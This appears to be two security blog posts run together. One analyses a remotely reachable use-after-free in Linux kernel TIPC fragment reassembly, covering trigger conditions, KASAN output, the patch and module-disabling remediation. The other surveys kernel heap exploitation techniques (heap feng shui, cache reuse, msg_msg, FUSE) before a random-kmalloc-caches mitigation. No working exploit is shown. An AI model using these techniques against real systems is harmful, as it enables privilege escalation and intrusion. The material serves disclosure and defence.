So essentially, each fragment is wrapped up in a TIPC fragment message (a message with the MSG_FRAGMENTER user). Each of these fragment messages will provide metadata in its header, such as the fragment number, so that the fragment within can be reassembled in the right order on the receiving end.

Exploring The Call Trace

Let’s take a look at the kernel call trace for a MSG_FRAGMENTER message being received by a TIPC UDP bearer. This gives us a bit of context about how the TIPC networking stack handles incoming packets:

#0 tipc_link_input+0x41b/0x850 net/tipc/link.c:1339
#1 tipc_link_rcv+0x77a/0x2dc0 net/tipc/link.c:1839
#2 tipc_rcv+0x519/0x3030 net/tipc/node.c:2159
#3 tipc_udp_recv+0x745/0x930 net/tipc/udp_media.c:421
#4 udp_queue_rcv_one_skb+0xe76/0x19b0 net/ipv4/udp.c:2113
#5 udp_queue_rcv_skb+0x136/0xa60 net/ipv4/udp.c:2191

#5 & #4 show the underlying UDP networking stack stuff. #3 is where TIPC first receives inbound TIPC-over-UDP messages, which does some basic bearer level checks before handing the skb over to #2, tipc_rcv().

After bearer level checks, all inbound TIPC packets are processed by #2, tipc_rcv(). This involves sanity checks on TIPC header values and using a combination of message user and link state to figure out how the packet is going to be processed.

A valid MSG_FRAGMENTER message is received by #1, tipc_link_rcv():

int tipc_link_rcv(struct tipc_link *l, struct sk_buff *skb,
          struct sk_buff_head *xmitq)
{
    struct sk_buff_head *defq = &l->deferdq;
    struct tipc_msg *hdr = buf_msg(skb);
    u16 seqno, rcv_nxt, win_lim;
    int released = 0;
    int rc = 0;

    /* Verify and update link state */
    if (unlikely(msg_user(hdr) == LINK_PROTOCOL))
        return tipc_link_proto_rcv(l, skb, xmitq);

    /* Don't send probe at next timeout expiration */
    l->silent_intv_cnt = 0;

    do {
        hdr = buf_msg(skb);
        seqno = msg_seqno(hdr);                                                 [0]
        rcv_nxt = l->rcv_nxt;                                                   [1]
        win_lim = rcv_nxt + TIPC_MAX_LINK_WIN;

        if (unlikely(!link_is_up(l))) {
            if (l->state == LINK_ESTABLISHING)
                rc = TIPC_LINK_UP_EVT;
            kfree_skb(skb);
            break;
        }

        /* Drop if outside receive window */
        if (unlikely(less(seqno, rcv_nxt) || more(seqno, win_lim))) {           [2]
            l->stats.duplicates++;
            kfree_skb(skb);
            break;
        }
        released += tipc_link_advance_transmq(l, l, msg_ack(hdr), 0,
                              NULL, NULL, NULL, NULL);

        /* Defer delivery if sequence gap */
        if (unlikely(seqno != rcv_nxt)) {                                       [3]
            if (!__tipc_skb_queue_sorted(defq, seqno, skb))
                l->stats.duplicates++;
            rc |= tipc_link_build_nack_msg(l, xmitq);
            break;
        }

        /* Deliver packet */
        l->rcv_nxt++;
        l->stats.recv_pkts++;

        if (unlikely(msg_user(hdr) == TUNNEL_PROTOCOL))
            rc |= tipc_link_tnl_rcv(l, skb, l->inputq);
        else if (!tipc_data_input(l, skb, l->inputq))
            rc |= tipc_link_input(l, skb, l->inputq, &l->reasm_buf);            [5]
        if (unlikely(++l->rcv_unacked >= TIPC_MIN_LINK_WIN))
            rc |= tipc_link_build_state_msg(l, xmitq);
        if (unlikely(rc & ~TIPC_LINK_SND_STATE))
            break;
    } while ((skb = __tipc_skb_dequeue(defq, l->rcv_nxt)));                     [4]

    /* Forward queues and wake up waiting users */
    if (released) {
        tipc_link_update_cwin(l, released, 0);
        tipc_link_advance_backlog(l, xmitq);
        if (unlikely(!skb_queue_empty(&l->wakeupq)))
            link_prepare_wakeup(l);
    }
    return rc;
}

net/tipc/link.c (6.7.4)

tipc_link_rcv() uses the sequence number, pulled from the TIPC message header [0], to determine the order in which to process the incoming skbs. It uses struct tipc_link to manage the link state, including what seqno it’s expecting next [1].

Out of order packets are either dropped [2] or added to the defer queue, defq, for later [3] [4]. When the correct seqno is hit, it will do some checks to see how to process it. When the user is MSG_FRAGMENTER, the packet is passed to #0 tipc_link_input() [5].

tipc_link_input(), #0, processes the packet depending on the user:

static int tipc_link_input(struct tipc_link *l, struct sk_buff *skb,
               struct sk_buff_head *inputq,
               struct sk_buff **reasm_skb)

    // snip

    } else if (usr == MSG_FRAGMENTER) {
        l->stats.recv_fragments++;
        if (tipc_buf_append(reasm_skb, &skb)) {
            l->stats.recv_fragmented++;
            tipc_data_input(l, skb, inputq);
        } else if (!*reasm_skb && !link_is_bc_rcvlink(l)) {
            pr_warn_ratelimited("Unable to build fragment list\n");
            return tipc_link_fsm_evt(l, LINK_FAILURE_EVT);
        }
        return 0;
    } // snip
    
    kfree_skb(skb);
    return 0;
}

net/tipc/link.c (6.7.4)

Examining tipc_buf_append()

This function is the root cause of the vulnerability. tipc_buf_append() is used to append the buffers containing message fragments, in order to reassemble the original message:

/* tipc_buf_append(): Append a buffer to the fragment list of another buffer
 * @*headbuf: in:  NULL for first frag, otherwise value returned from prev call
 *            out: set when successful non-complete reassembly, otherwise NULL
 * @*buf:     in:  the buffer to append. Always defined
 *            out: head buf after successful complete reassembly, otherwise NULL
 * Returns 1 when reassembly complete, otherwise 0
 */
int tipc_buf_append(struct sk_buff **headbuf, struct sk_buff **buf)
{
	struct sk_buff *head = *headbuf;
	struct sk_buff *frag = *buf;
	struct sk_buff *tail = NULL;
	struct tipc_msg *msg;
	u32 fragid;
	int delta;
	bool headstolen;

	if (!frag)
		goto err;

	msg = buf_msg(frag);
	fragid = msg_type(msg);                                     [0]
	frag->next = NULL;
	skb_pull(frag, msg_hdr_sz(msg));

	if (fragid == FIRST_FRAGMENT) {
		if (unlikely(head))
			goto err;
		*buf = NULL;
		if (skb_has_frag_list(frag) && __skb_linearize(frag))
			goto err;
		frag = skb_unshare(frag, GFP_ATOMIC);
		if (unlikely(!frag))
			goto err;
		head = *headbuf = frag;                                 [1]
		TIPC_SKB_CB(head)->tail = NULL;
		return 0;
	}

	if (!head)
		goto err;

	if (skb_try_coalesce(head, frag, &headstolen, &delta)) {    [2]
		kfree_skb_partial(frag, headstolen);
	} else {                                                    [3]
		tail = TIPC_SKB_CB(head)->tail;
		if (!skb_has_frag_list(head))
			skb_shinfo(head)->frag_list = frag;
		else
			tail->next = frag;
		head->truesize += frag->truesize;
		head->data_len += frag->len;
		head->len += frag->len;
		TIPC_SKB_CB(head)->tail = frag;
	}

	if (fragid == LAST_FRAGMENT) {
		TIPC_SKB_CB(head)->validated = 0;
		if (unlikely(!tipc_msg_validate(&head)))                [4]
			goto err;                                           [5]
		*buf = head;
		TIPC_SKB_CB(head)->tail = NULL;
		*headbuf = NULL;
		return 1;
	}
	*buf = NULL;
	return 0;
err:
	kfree_skb(*buf);                                            [6]
	kfree_skb(*headbuf);                                        [7]
	*buf = *headbuf = NULL;
	return 0;
}

net/tipc/msg.c (6.7.4)

Walking through a typical case, when the first fragment is received tipc_buf_append() is called with *headbuf == NULL & *buf pointing to the packet buffer of the first fragment. Note the fragment id (first, last or other) is stored in the TIPC header [0].

For the first fragment, some checks are done and this buffer is used to initialise heabuf [1] and it returns. For subsequent fragments in this sequence, heabuf is now initialised when tipc_buf_append() is called. These packets are then either coalesced into the head buffer [2] or added to its the frag_list [3].

Finally when the LAST_FRAGMENT is processed, added to the chain, the header of the initially fragmented packet is validated [4]. If you recall, the fragmented message is stored within the MSG_FRAGMENTER messages, so will have its own header that hasn’t been validated yet.

Notably, if this fails (e.g. we intentionally scuff up the header of the fragmented message), both the buffers are dropped [5] [6]. At this point buf points to the last fragment and headbuf points to the head buffer (the first fragment). It is possible for buf to be in the frag_list of headbuf at this point as we’ve seen.

However, kfree_skb() isn’t a simple kfree() wrapper, due to the complexity of struct sk_buff. It involves quite a bit of cleanup, including cleaning up the fragments reference by the frag_list … you can probably see where this is going!

The last fragment, buf, is freed [6]. Then, the head buffer is freed [7] whereby its frag_list is iterated for cleanup, leading to a use-after-free, as the final fragment has just been freed prior to this call [6]!

We can see this buy exploring the rest of the call trace when we trigger the bug:

[   48.900496] ==================================================================
[   48.901414] BUG: KASAN: slab-use-after-free in kfree_skb_list_reason+0x549/0x5c0
[   48.902395] Read of size 8 at addr ffff88800927c900 by task syz_test/207
[   48.903256] 
[   48.903450] CPU: 1 PID: 207 Comm: syz_test Not tainted 6.7.4-gd09175322cfa-dirty #6
[   48.904221] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   48.905046] Call Trace:
[   48.905306]  <IRQ>
[   48.905490]  dump_stack_lvl+0x72/0xa0
[   48.905787]  print_report+0xcc/0x620
[   48.906736]  kasan_report+0xb0/0xe0
[   48.907096]  kfree_skb_list_reason+0x549/0x5c0
[   48.909613]  skb_release_data.isra.0+0x4fd/0x850
[   48.909997]  kfree_skb_reason+0xf4/0x380
[   48.910171]  tipc_buf_append+0x3e4/0xad0

The site that triggers KASAN is when the fragmented buffer list is iterated during kfree_skb_list_reason(). It is passed the frag_list of the head buffer in skb_release_data() [0]:

static void skb_release_data(struct sk_buff *skb, enum skb_drop_reason reason,
			     bool napi_safe)
{
	struct skb_shared_info *shinfo = skb_shinfo(skb);
	int i;

    // snip

free_head:
	if (shinfo->frag_list)
		kfree_skb_list_reason(shinfo->frag_list, reason);                       [0]

net/core/skbuff.c (6.7.4)

We can then see the KASAN trigger in kfree_skb_list_reason() here [1]:

void __fix_address
kfree_skb_list_reason(struct sk_buff *segs, enum skb_drop_reason reason)
{
	struct skb_free_array sa;

	sa.skb_count = 0;

	while (segs) {
		struct sk_buff *next = segs->next;                                      [1]

		if (__kfree_skb_reason(segs, reason)) {
			skb_poison_list(segs);
			kfree_skb_add_bulk(segs, &sa, reason);
		}

		segs = next;
	}

	if (sa.skb_count)
		kmem_cache_free_bulk(skbuff_cache, sa.skb_count, sa.skb_array);
}

net/core/skbuff.c (6.7.4)

Variations

There’s a couple of variations to this vulnerability which are worth mentioning. First of all, the vulnerable path can also be reached in a very similar manner via TUNNEL_PROTOCOL messages, as seen in this call trace:

kfree_skb_reason+0xf4/0x380 net/core/skbuff.c:1108
kfree_skb include/linux/skbuff.h:1234 [inline]
tipc_buf_append+0x3ce/0xb50 net/tipc/msg.c:186
tipc_link_tnl_rcv net/tipc/link.c:1398 [inline]
tipc_link_rcv+0x1a89/0x2dc0 net/tipc/link.c:1837
tipc_rcv+0x1220/0x3030 net/tipc/node.c:2173
tipc_udp_recv+0x745/0x930 net/tipc/udp_media.c:421

Additionally, some eagle eyed readers may also have noticed there’s another way to trigger the use-after-free within tipc_buf_append():

int tipc_buf_append(struct sk_buff **headbuf, struct sk_buff **buf)
{
    // snip

    if (skb_try_coalesce(head, frag, &headstolen, &delta)) {
        kfree_skb_partial(frag, headstolen);                        [0]
    } else {
        tail = TIPC_SKB_CB(head)->tail;
        if (!skb_has_frag_list(head))
            skb_shinfo(head)->frag_list = frag;
        else
            tail->next = frag;
        head->truesize += frag->truesize;
        head->data_len += frag->len;
        head->len += frag->len;
        TIPC_SKB_CB(head)->tail = frag;
    }

    if (fragid == LAST_FRAGMENT) {
        TIPC_SKB_CB(head)->validated = 0;
        if (unlikely(!tipc_msg_validate(&head)))
            goto err;
        *buf = head;
        TIPC_SKB_CB(head)->tail = NULL;
        *headbuf = NULL;
        return 1;
    }
    *buf = NULL;
    return 0;
err:
    kfree_skb(*buf);                                                [1]
    kfree_skb(*headbuf);                                            [2]
    *buf = *headbuf = NULL;
    return 0;
}

net/tipc/msg.c (6.7.4)

The initial free can occur at either site [0] or [1]. We’ve covered the latter case, but if the last fragment was coalesced, then the initial free occurs at [0] instead.

1. TIPC Protocol: 7.2.7. Message Fragmentation

Exploitation

Unfortunately I haven’t had the time to work on putting together an exploit for this vulnerability, though I’d love to set some time aside in the future. Sorry! :(

From an LPE perspective, the use-after-free of a struct sk_buff provides a pretty nice primitive due to its complexity and usage. There’s been some nice write-ups in the past making good use of the structure for LPE, so check those out if interested[2]

The RCE side of things is more opaque and something I’m really keen to explore more. Two major roadblocks for Linux kernel RCE are: KASLR and the drastically reduced surface for heap fengshui and generally affecting device state.

At least on the latter, we have some nice flexibility with this vulnerability. We have some control over the affected caches via our TIPC messages. The defer queue could potentially be used to introduce delays and control when objects are freed. Who knows!

1. CVE-2021-0920: Android sk_buff use-after-free in Linux
2. Four Bytes of Power: Exploiting CVE-2021-26708 in the Linux kernel

Here are some posts on other TIPC related bugs and stuff for interested readers:

1. CVE-2021-43267: Remote Linux Kernel Heap Overflow by @maxpl0it
2. Exploiting CVE-2021-43267 by @bl4sty
3. CVE-2022-0435: A Remote Stack Overflow in The Linux Kernel by me

Fix + Remediation

---
 net/tipc/msg.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/net/tipc/msg.c b/net/tipc/msg.c
index 5c9fd4791c4ba1..9a6e9bcbf69402 100644
--- a/net/tipc/msg.c
+++ b/net/tipc/msg.c
@@ -156,6 +156,11 @@ int tipc_buf_append(struct sk_buff **headbuf, struct sk_buff **buf)
 	if (!head)
 		goto err;
 
+	/* Either the input skb ownership is transferred to headskb
+	 * or the input skb is freed, clear the reference to avoid
+	 * bad access on error path.
+	 */
+	*buf = NULL;
 	if (skb_try_coalesce(head, frag, &headstolen, &delta)) {
 		kfree_skb_partial(frag, headstolen);
 	} else {
@@ -179,7 +184,6 @@ int tipc_buf_append(struct sk_buff **headbuf, struct sk_buff **buf)
 		*headbuf = NULL;
 		return 1;
 	}
-	*buf = NULL;
 	return 0;
 err:
 	kfree_skb(*buf);

Commit 080cbb890286, authored by kuba-moo

We can see the patch is fairly simple (even if the context is not): the reference to the input skb ( buf ) is cleared before the error case that can cause the UAF. This is because the block handling the fragment coalescing/chaining already does the appropriate cleanup for it via frag (which at this point is also a reference to the input skb).

It’s a bit clearer if we provide some more context:

    /* Either the input skb ownership is transferred to headskb
     * or the input skb is freed, clear the reference to avoid
     * bad access on error path.
     */
    *buf = NULL;
    if (skb_try_coalesce(head, frag, &headstolen, &delta)) {  [2]
        kfree_skb_partial(frag, headstolen);                  [3]
    } else {                                                  [4]
        tail = TIPC_SKB_CB(head)->tail;
        if (!skb_has_frag_list(head))
            skb_shinfo(head)->frag_list = frag;
        else
            tail->next = frag;
        head->truesize += frag->truesize;
        head->data_len += frag->len;
        head->len += frag->len;
        TIPC_SKB_CB(head)->tail = frag;
    }

    if (fragid == LAST_FRAGMENT) {
        TIPC_SKB_CB(head)->validated = 0;
        if (unlikely(!tipc_msg_validate(&head)))
            goto err;
        *buf = head;                                          [0]
        TIPC_SKB_CB(head)->tail = NULL;
        *headbuf = NULL;
        return 1;
    }
    // before the patch: *buf = NULL;                         [1]
    return 0;
err:
    kfree_skb(*buf);
    kfree_skb(*headbuf);
    *buf = *headbuf = NULL;
    return 0;
}

net/tipc/msg.c (it’s not on elixir yet, but will link)

So if we recall our vulnerable case, after we’ve chained our last fragment, if the TIPC header of the fragmented message (which is now assembled) is invalid, we hit the error case at [0]. We then go to err: and cause the UAF, as buf was never cleared at [1].

By the time we reach [2] we know that the input skb is a trailing fragment and is reference by both buf and frag. At this point we don’t need the buf reference as the following block handles the input skb appropriately via frag: either it is coalesced into head and freed [3] or it is added to head’s frag list at which point head is responsible for it [4].

As a result, we can just clear the unnecessary buf reference before it can cause any trouble. Hopefully that’s not too convoluted an explanation for a simple patch!

Remediation

Chances are, as I mentioned up top, unless you’re running TIPC you’re all good! However, if you are, or want to be extra safe, prior to a patch being made available, the TIPC module can be disabled from loading if not in use:

• $ lsmod | grep tipc will let you know if the module is currently loaded,
• modprobe -r tipc may allow you to unload the module if loaded, however you may need to reboot your system
• $ echo "install tipc /bin/true" >> /etc/modprobe.d/disable-tipc.conf will prevent the module from being loaded, which is a good idea if you have no reason to use it

Wrapup

As always, thank you for surviving up until this point! This research has been super fun, hopefully this has been an interesting read and not missing too much context; I appreciate it’s a particularly complex topic with lots of moving parts. Also, this was somewhat rushed due to having a lot going on at the moment, so I apologise for any drop in quality!

I’d like to thank ZDI and the Linux kernel maintainers for the work involved in getting this vulnerability disclosed and patched!

There’s quite a few things I’d love to do in follow-up to this post, if I can only find the time! I’d be happy to go into more detail on the discovery process and working with syzkaller, I really want to play around with exploitation and I also think it’d be neat to expand the Linternals blog series with some networking content!

In the meanwhile, if you’re interested in modifying syzkaller, checkout @notselwyn’s post on “Tickling ksmbd: fuzzing SMB in the Linux kernel”, I found it super helpful!

Feel free to @me if you have any questions, suggestions or corrections :)

exit(0);

To provide some context to the problems RANDOM_KMALLOC_CACHES tries to address, we’ll spend a bit of time covering the current heap exploitation meta. This actually ended up being reasonably in-depth (oops) and touches on general approaches to exploitation as well as current mitigations and techniques such as heap feng shui, cache reuse attacks, FUSE and making use of elastic objects.

Armed with that information we’ll then explore the new patch in detail, discuss how it addresses heap exploitation and have a bit of fun speculating how the meta might shift as a result of this.

As this post is focusing on kernel heap exploitation, I’ll be assuming some prerequisite knowledge around topics like kernel memory allocators (luckily for you I’ve written about this already in some detail as part of Linternals, here).

Contents

• Current Heap Exploitation Meta
  • Approaching Heap Exploitation
  • Current Mitigations
  • Generic Techniques
    • Basic Heap Feng Shui
    • Cache Reuse Attacks
    • Elastic Objects
    • FUSE
• Introducing Random Kmalloc Caches
• Diving Into The Implementation
  • Cache Setup
  • Seed Setup
  • Kmalloc Allocations
  • Thoughts
• What’s The New Meta?
• Wrapping Up

Current Heap Exploitation Meta

Alright, before we dive into the juicy details lets quickly touch on the current state of heap exploitation to help us understand why this patch was added and how it effects things!

Heap corruption is one of the more common types of bugs found in the kernel today (think use-after-free, heap overflow etc.). When we talk about heap corruption in the Linux kernel, we’re referring to memory dynamically allocated via the slab allocator (e.g. [kmalloc()](https://elixir.bootlin.com/linux/v6.6/source/include/linux/slab.h#L590)) or directly via the page allocator (e.g. [alloc_pages()](https://elixir.bootlin.com/linux/v6.6/source/include/linux/gfp.h#L269)).

The fundamental goal of exploitation is to leverage our heap corruption to gain more control over the system, typically to elevate our privileges or at least get closer to being able to do so.

In reality, these heap corruptions can come in all shapes and sizes. The objects we’re able to use-after-free can come from different caches, there may be a race involved, there may be fields which need to be specific values etc. Similarly our overflows can also have any number of constraints which impact our approach to leverage the corruption.

However, there exist a number of generic techniques for heap exploitation, which help cut down on the time needed to go from heap corruption to working exploit. As we know, security is a cat and mouse game, so these techniques are continually adapting to keep up with new mitigations.

From a defenders perspective, in an ideal world we would mitigate heap corruption bugs entirely. Failing that, we can make it as hard as possible for attackers to leverage any heap corruption bugs they do find. Responding to the generic techniques used by attackers is a good way to go about this, forcing each bug to require a bespoke approach to exploit.

Approaching Heap Exploitation

Okay with the exposition out of the way, lets talk a bit about how we might go about exploiting a heap corruption in the kernel nowadays. I’m going to (try) keep things fairly high level, with a focus on the slab allocator side of things due to the topics context.

So first things first we want to make sure we understand the bug itself: how do we reach it, what kernel configurations or capabilities do we require? What is the nature of the corruption, is it a use-after-free? What are the limitations around triggering the bug? What data structures are effected, what are the risks of a kernel panic?

Then we want to get into the specifics of the heap corruption itself. How are the affected objects allocated? Is it via the slab allocator or the page allocator? For slab allocations, we’re interested in what cache the object is allocated to, so we can infer what other objects share the same cache and can potentially be corrupted.

There are several factors to consider at the moment when determining what cache our object will end up in:

• The API used will tell us if its allocated into a general purpose cache with other similar sized objects (kmalloc(), kzalloc(), kcalloc() etc.) or private cache ( [kmem_cache_alloc()](https://elixir.bootlin.com/linux/v6.6/source/include/linux/slab.h#L499)) with slabs containing only objects of that type.
• The GFP (Get Free Page) flags used can tell us which of the general purpose cache types the object is allocated. By default, allocations will go to the standard general purpose caches, kmalloc-x, where x is the “bucket size”. The other common case is GFP_KERNEL_ACCOUNT, typically used for untrusted allocations[1], will put objects in an accounted cache, named kmalloc-cg-x.
• The size of the object will determine, for general purpose caches, which “bucket size” the object will end up in. The x in kmalloc-x denotes the fixed size in bytes allocated to each object in the cache’s slabs. Objects will be allocated into the smallest general purpose cache is can fit into.

Now we’ve built up an understanding of the bug and how it’s allocated, it’s time to think about how we want to use our corruption. By knowing what cache our object is in, we know what other objects can or can’t be allocated into the same slab.

The general goal here is to find a viable object to corrupt. We can use our understanding of how the slab allocator works in order to shape the layout of memory to make this more reliable, or to make otherwise incorruptible objects corruptible.

Current Mitigations

However, before we get ahead of ourselves, we first have to consider any mitigations that might impact our ability to exploit our bug on modern systems. This won’t be an exhaustive list, but will help provide some context on the current meta:

• [CONFIG_SLAB_FREELIST_HARDENED](https://cateee.net/lkddb/web-lkddb/SLAB_FREELIST_HARDENED.html) adds checks to protect slab metadata, such as the freelist pointers stored in free objects within a SLUB slab and checks for double-frees.
• [CONFIG_SLAB_FREELIST_RANDOM](https://cateee.net/lkddb/web-lkddb/SLAB_FREELIST_RANDOM.html) randomises the freelist order when a new cache slab is allocated, such that an attacker can’t infer the order objects within that slab will be filled. The aim to reduce the knowledge & control attackers have over heap state.
• [CONFIG_STATIC_USERMODEHELPER](https://cateee.net/lkddb/web-lkddb/STATIC_USERMODEHELPER.html) mitigates a popular technique for leveraging heap corruption, which we’ll touch on in the next section.
• Slab merging, enabled via slub_merge bootarg or CONFIG_SLAB_MERGE_DEFAULT=y, allows slab caches to be merged for performance. As you can imagine, this is nice for attackers as it opens up our options for corruption.
• Some others, which are less commonly enabled afaik, or out of scope include [CONFIG_SHUFFLE_PAGE_ALLOCATOR](https://cateee.net/lkddb/web-lkddb/SHUFFLE_PAGE_ALLOCATOR.html), [CONFIG_CFI_CLANG](https://cateee.net/lkddb/web-lkddb/CFI_CLANG.html), init_on_alloc / [CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y](https://cateee.net/lkddb/web-lkddb/INIT_ON_ALLOC_DEFAULT_ON.html) & init_on_free / [CONFIG_INIT_ON_FREE_DEFAULT_ON=y](https://cateee.net/lkddb/web-lkddb/INIT_ON_FREE_DEFAULT_ON.html).

Generic Techniques

Okay, now we’re ready to starting pwning the heap. We understand our bug, the allocation context and the kind of mitigations we’re dealing with. Let’s explore some contemporary techniques used to get around this mitigation and exploit heap corruptions bugs!

Basic Heap Feng Shui

A fundamental aspect of heap corruption is the ability to shape the heap, commonly referred to as “heap feng shui”. We can use our understanding of how the allocator works and the mitigations in place to try get things where we want them in the heap.

Lets use a generic heap overflow to demonstrate this. We can overflow object x and we want to corrupt object y. They’re in the same generic cache, so our goal is to land y adjacent to x in the same slab.

We want to consider how active the cache is (aka is it cache noise) and up-time, as this will give us an idea of the cache slab state. On a typical workload with a fairly used cache size, we can assume there are likely to be several partially filled slabs; this is our starting state.

A basic heap feng shui approach would be to first allocate a number of object y to fill up the holes in the partial slabs:

Then, we allocate several slabs worth of object y which we can assume is to trigger new slabs to be allocated, hopefully filled with object y:

Then, from the second batch of allocations into new slabs, we would free every other allocation to try and create holes in the new slabs:

We would then allocate our vulnerable object x in the hopes we have increased our chances that it will be allocated into one of the wholes we just created:

Cache Reuse/Overflow Attacks

Remember earlier we mentioned how there are different types of general purpose caches and even private caches, all with their own slabs? What if our vulnerable object is in one cache and we found an object we really, really wanted to corrupt in another cache?

If we recall our memory allocator fundamentals[2], we know that the page allocator is the fundamental memory allocator for the Linux kernel, sitting above it is the slab allocator. So the slab allocator makes use of the page allocator, this includes for the allocation of the chunks of memory used as slabs (to hold cache objects). Are you still with me?

So when all the objects in a slab are freed, the slab itself may in turn be freed back to the page allocator, ready to be reallocated. Can you see where this is going?

If we have a UAF on an object in a private cache slab, if that slab is then freed and reallocated as a general purpose cache, suddenly our UAF’d memory is pointing to general purpose objects! Our options for corruption have suddenly expanded!

This kind of technique is known as a “cache reuse” attack and has been documented previously in more detail[3]. By using a similar approach of manipulating the underlying page layout, “cache overflow” attacks are possible too, where you align to slabs from separate caches adjacent to one another in physical memory, which has been used in some great CTF writeups[4].

Elastic Objects

Another cornerstone of contemporary heap exploitation is the use of “elastic objects”[6]. These are essential structures that have a dynamic size, typically a length field will describe the size of a buffer within the same struct.

Sounds pretty straight forward, right? Why is this relevant? Well, we’ve spoken about the bespoke nature of heap corruption vulnerabilities, and the variety of cache types and sizes.

Elastic objects can provide generic techniques to exploiting these vulnerabilities, as objects that can be corrupted across a variety of cache sizes due to their elastic nature. By generalising the object being corrupted, a lot of time can be spent mining for objects that are corruptible for a certain cache size and then developing a bespoke technique for using that specific corruption to elevate privileges (which can be quite time consuming!).

A popular elastic object used on contemporary heap corruption is [struct msg_msg](https://elixir.bootlin.com/linux/v6.6/source/include/linux/msg.h#L9), which can be used to leverage an out-of-bounds heap write into arbitrary read/write[5]:

/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

include/linux/msg.h (v6.6)

FUSE

Seeing as we’re going all out on the exploitation techniques here, I might as well throw in a quick shoutout to FUSE as well, which is commonly used in kernel exploitation.

Filesystem in Userspace is “is an interface for userspace programs to export a filesystem to the Linux kernel.”[7], enabled via [CONFIG_FUSE_FS](https://cateee.net/lkddb/web-lkddb/FUSE_FS.html)=y. Essentially it allows, often unprivileged, users to define their own filesystems.

Normally, mounting filesystems is a privileged action and actually defining a filesystem would require you to write kernel code. With FUSE, we can do away with this. By defining the read operations in our FUSE FS, we’re able to define what happens when kernel tries to read one our FUSE files, which includes sleeping…

This gives us the ability to arbitrarily block kernel threads that try to read files in our FUSE FS (essentially accessing to user virtual addresses we can control, as we can map in one of our FUSE files and pass that over to the kernel).

So what does this have to do with kernel exploitation? Well, as we mentioned previously, a key part of heap exploitation is finding interesting objects to corrupt or control the layout of memory. Ideally we want to be able to allocate and free these on demand, if they’re immediately freed there’s not too much we can do with them … right?

Perhaps! This is where FUSE comes in: if we have a scenario where an object we really, really want to corrupt is allocated and freed within the same system call, we may be able to keep it in memory if there’s a userspace access we can block on between the allocation and free! You can find more on this, plus some examples, from this 2018 Duasynt blog post.

1. https://www.kernel.org/doc/Documentation/core-api/memory-allocation.rst
2. https://sam4k.com/linternals-memory-allocators-part-1/
3. https://duasynt.com/blog/linux-kernel-heap-feng-shui-2022
4. https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html
5. https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html
6. the earliest mention i’m aware of in an kernel xdev context is from the 2020 paper, “A Systematic Study of Elastic Objects in Kernel Exploitation”, could we be wrong tho
7. https://github.com/libfuse/libfuse
8. https://duasynt.com/blog/linux-kernel-heap-spray

Introducing Random Kmalloc Caches

Well, that was quite the background read (sorry not sorry), but we’re hopefully in a good position to dive into this new mitigation: Random kmalloc caches[1].

This mitigation effects the generic slab cache implementation. Previously, there was a single generic slab cache for each size “step”: kmalloc-32, kmalloc-64, kmalloc-128 etc. Such that an 40 byte object, allocated via kmalloc(), with the correct GFP flags, is always going to end up in the kmalloc-64 cache. Straightforward right?

CONFIG_RANDOM_KMALLOC_CACHES=y introduces multiple generic slab caches for each size, 16 by default (named kmalloc-rnd-01-32, kmalloc-rnd-02-32 etc.). When an object allocated via kmalloc() it is allocated to one of these 16 caches “randomly”, depending on the callsite for the kmalloc() and a per-boot seed.

Developed by Huawei engineers, this mitigation aims to make exploiting slab heap corruption vulnerabilities more difficult. By distributing the available general purpose objects for heap feng shui for any given cache size non-deterministically across up to 16 different caches, it’s harder for an attacker to target specific objects or caches for exploitation.

If you’re interested in more information, you can also follow the initial discussions over on the Linux kernel mailing list.[2][3][4]

1. https://github.com/torvalds/linux/commit/3c6152940584290668b35fa0800026f6a1ae05fe
2. [PATCH RFC] Randomized slab caches for kmalloc()
3. [PATCH RFC v2] Randomized slab caches for kmalloc()
4. [PATCH v5] Randomized slab caches for kmalloc()

Diving Into The Implementation

The time has come, I’m sure you’ve all been chomping at the bit for the last 2000 words, let’s dig into the implementation for this patch and see what the deal is.

Honestly the implementation for this mitigation is actually pretty straight forward, with only 97 additions and 15 deletions across 7 files, so more than anything it’s going to be a bit of a primer on the parts of the kmalloc API that are effected by this patchset.

We’ll follow up with a bit of an analysis on the pros and cons of the implementation tho.

Cache Setup

So first things first lets touch on how the kmalloc caches are actually created by the kernel and some of the changes needed to include the random cache copies.

The header additions include configurations for things like the number of cache copies:

+#ifdef CONFIG_RANDOM_KMALLOC_CACHES
+#define RANDOM_KMALLOC_CACHES_NR	15 // # of cache copies
+#else
+#define RANDOM_KMALLOC_CACHES_NR	0
+#endif

The [kmalloc_cache_type](https://elixir.bootlin.com/linux/v6.6/source/include/linux/slab.h#L363) enum is used to manage the different kmalloc cache types. [create_kmalloc_caches()](https://elixir.bootlin.com/linux/v6.6/source/mm/slab_common.c#L956) allocates the initial [struct kmem_cache](https://elixir.bootlin.com/linux/v6.6/source/include/linux/slub_def.h#L98) objects, which represent the slab caches we’ve been talking about, which are then stored in the exported [struct kmem_cache * kmalloc_caches[NR_KMALLOC_TYPES][KMALLOC_SHIFT_HIGH + 1]](https://elixir.bootlin.com/linux/v6.6/source/mm/slab_common.c#L677) array. As we can see from the definition, the cache type is used as one of the indexes into the array to fetch a cache, the other is the size index for that cache type (see [size_index[24]](https://elixir.bootlin.com/linux/v6.6/source/mm/slab_common.c#L692)).

With that in mind, an entry for each of the cache copies is added to [enum kmalloc_cache_type](https://elixir.bootlin.com/linux/v6.6/source/include/linux/slab.h#L363) so that they’re created and fetchable as part of the existing API:

enum kmalloc_cache_type {
	KMALLOC_NORMAL = 0,
#ifndef CONFIG_ZONE_DMA
	KMALLOC_DMA = KMALLOC_NORMAL,
#endif
#ifndef CONFIG_MEMCG_KMEM
	KMALLOC_CGROUP = KMALLOC_NORMAL,
#endif
+	KMALLOC_RANDOM_START = KMALLOC_NORMAL,
+	KMALLOC_RANDOM_END = KMALLOC_RANDOM_START + RANDOM_KMALLOC_CACHES_NR,
#ifdef CONFIG_SLUB_TINY
	KMALLOC_RECLAIM = KMALLOC_NORMAL,
#else
	KMALLOC_RECLAIM,
#endif
#ifdef CONFIG_ZONE_DMA
	KMALLOC_DMA,
#endif
#ifdef CONFIG_MEMCG_KMEM
